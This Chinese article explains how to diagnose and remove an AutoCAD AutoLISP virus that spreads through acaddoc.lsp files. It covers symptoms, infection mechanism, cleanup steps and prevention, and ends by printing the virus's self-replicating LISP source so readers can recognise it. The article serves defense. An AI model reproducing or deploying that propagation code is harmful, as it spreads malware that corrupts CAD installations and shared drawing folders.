如何根除導(dǎo)致AUTOCAD開(kāi)圖卡頓甚至無(wú)響應(yīng)的CAD病毒?
來(lái)源:CAD小苗
|
作者:rjghsj
|
發(fā)布時(shí)間: 2021-01-15
|
731 次瀏覽
|
分享到:
如何根除導(dǎo)致AUTOCAD開(kāi)圖卡頓甚至無(wú)響應(yīng)的CAD病毒?
病毒簡(jiǎn)介:
該病毒可以被卡巴斯基和360殺毒軟件查出,卡巴斯基查出病毒名為Virus.ALS.pasdoc.a,360殺毒軟件查出病毒名為T(mén)rojan.Script.29327。遺憾的是,卡巴斯基和360查毒軟件均不能講器徹底清除。
中毒癥狀:
機(jī)器中毒時(shí),運(yùn)行CAD時(shí),沒(méi)打開(kāi)一個(gè)DWG文件,均在DWG文件所在目錄生成一個(gè)acaddoc.lsp的文件。每次開(kāi)圖,此病毒程序會(huì)被自動(dòng)加載并進(jìn)行一次病毒傳播復(fù)制過(guò)程,病毒文件增大到一定程度后就會(huì)導(dǎo)致CAD開(kāi)圖速度極慢設(shè)置導(dǎo)致CAD停止工作。
用記事本打開(kāi)圖紙目錄下的acaddoc.lsp文件,或CAD安裝路徑下的SUPPORT目錄下的任意一個(gè)*.lsp文件,如果文件中含有與底部所附相同代碼,即可判定為中毒。
傳播機(jī)理:
通過(guò)分析病毒的源代碼,初步了解其傳播機(jī)理如下:
如果機(jī)器已經(jīng)中毒,CAD打開(kāi)新的DWG文件時(shí),病毒程序就會(huì)自動(dòng)加載。病毒會(huì)搜索CAD工作目錄下的acad.mnl文件,感染*.mnl文件,搜索acad的支持文件目錄,感染目錄下的所有*.lsp文件。同時(shí)病毒在但當(dāng)前打開(kāi)的DWG文件所在目錄下生成acaddoc.lsp文件,如果將圖紙發(fā)送到其他機(jī)器時(shí)帶上了這個(gè)LSP文件,只要在那臺(tái)機(jī)器打開(kāi)DWG,病毒就會(huì)起作用。如果將圖紙放到服務(wù)器或共享目錄下,而打開(kāi)圖紙的人有寫(xiě)目錄的權(quán)限,其他人打開(kāi)這張圖紙也會(huì)感染病毒。
清除步驟:
1、首先退出CAD。
2、全盤(pán)搜索acadapg.*/acadapp.*/acaddoc.*文件,然后徹底刪除上述文件。
注意在查找前在文件夾選項(xiàng)中設(shè)置“顯示所有文件與文件夾”以及取消“隱藏受保護(hù)的操作系統(tǒng)文件”。搜索時(shí)選擇“查找所有文件及文件夾”,然后再“高級(jí)選項(xiàng)”里勾選“搜索系統(tǒng)文件夾”“搜搜隱藏的文件和文件夾”“搜索字文件夾”。
如果搜出的文件無(wú)法刪除,則先清空回收站,再搜索刪除。
在一些專業(yè)軟件,如天正、浩辰、探索者等的目錄下也會(huì)有acaddoc.lsp文件,如果不確認(rèn)是否被感染,請(qǐng)一并刪除。如果刪除后這些專業(yè)軟件啟動(dòng)不正常,可以重新安裝。
3、查看C盤(pán)根目錄下是否有boot.dat文件,如果有的話,也將它刪除的IAO。
4、進(jìn)入當(dāng)前用戶的application DATA目錄(在WINDOWS資源管理器或開(kāi)始運(yùn)行里輸入%APPDATA%)可以快速進(jìn)入此目錄,找到AutodeskAutocad xxxx下面對(duì)應(yīng)版本的Support目錄,用記事本打開(kāi)該目錄下的所有*.mnl文件,手動(dòng)刪除與底部相同的代碼(一般都在文件末尾),然后保存。然后將修改后的所有*.mnl文件屬性設(shè)置為“只讀”。
5、進(jìn)入CAD安裝目錄下的support目錄,將改目錄下的所有*.LSP用記事本打開(kāi),手動(dòng)刪除病毒代碼。處理完記得將屬性設(shè)置為“只讀”。
6、如果本機(jī)安裝有多個(gè)版本的CAD,都需按上述步驟檢查一次。
4-6三步處理太麻煩,處理不好還容易導(dǎo)致CAD或LSP無(wú)法運(yùn)行,所以遇到這種問(wèn)題干脆將CAD徹底卸載,然后將APPDATA和安裝目錄中殘余的文件都刪除,重新安裝CAD。
預(yù)防措施:
此病毒是通過(guò)讀取圖紙文件所在目錄下的acaddoc.lsp來(lái)傳播的。在接受其他人發(fā)過(guò)來(lái)的文件夾或壓縮包時(shí),不要直接打開(kāi)圖紙,應(yīng)首先檢查一下文件夾中是否還有此病毒文件。如果有的話,刪除掉,同時(shí)也要告訴他有可能中毒了,并提醒其他同事或合作伙伴有中毒的危險(xiǎn)。這一步是最重要的!從源頭上把病毒堵住,就不會(huì)感染病毒了!
病毒會(huì)感染SUPPORT目錄下的*.lsp文件,如果我們有一些常用的LSP程序,不要直接復(fù)制到CAD的SUPPORT目錄,可以新建一個(gè)文件夾,將自己常用的程序放到此目錄下,然后再選項(xiàng)OP對(duì)話框中將此目錄設(shè)置為支持文件搜索路徑。
將CAD中相關(guān)目錄的*.mnl和*.lsp設(shè)置為只讀,防止病毒將代碼添加到這些文件中。
安裝上360或卡巴斯基等殺毒軟件,接受他人傳來(lái)的文件首先殺毒。
不要從服務(wù)器或其他共享目錄下直接打開(kāi)DWG文件,將DWG文件復(fù)制到本地后再打開(kāi),如果必須在共享目錄下工作,如果發(fā)現(xiàn)有類似病毒的LSP文件,必須讓有管理權(quán)限的人及時(shí)處理,然后再對(duì)本機(jī)進(jìn)行徹底清查。
如何預(yù)防CAD病毒?
病毒代碼:
下面是從網(wǎng)友200MB的LSP文件中摘取的一段代碼,應(yīng)該是病毒的基礎(chǔ)代碼:
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)
然后這個(gè)文件后面還會(huì)多次重復(fù)加載acadapq和acadapp,上面的代碼頁(yè)會(huì)被多次復(fù)制,感覺(jué)病毒還會(huì)復(fù)制其他LSP文件的代碼。文件一旦復(fù)制增大到一定程度,CAD開(kāi)圖的時(shí)候重復(fù)運(yùn)行大量代碼,肯定會(huì)變慢甚至停止工作。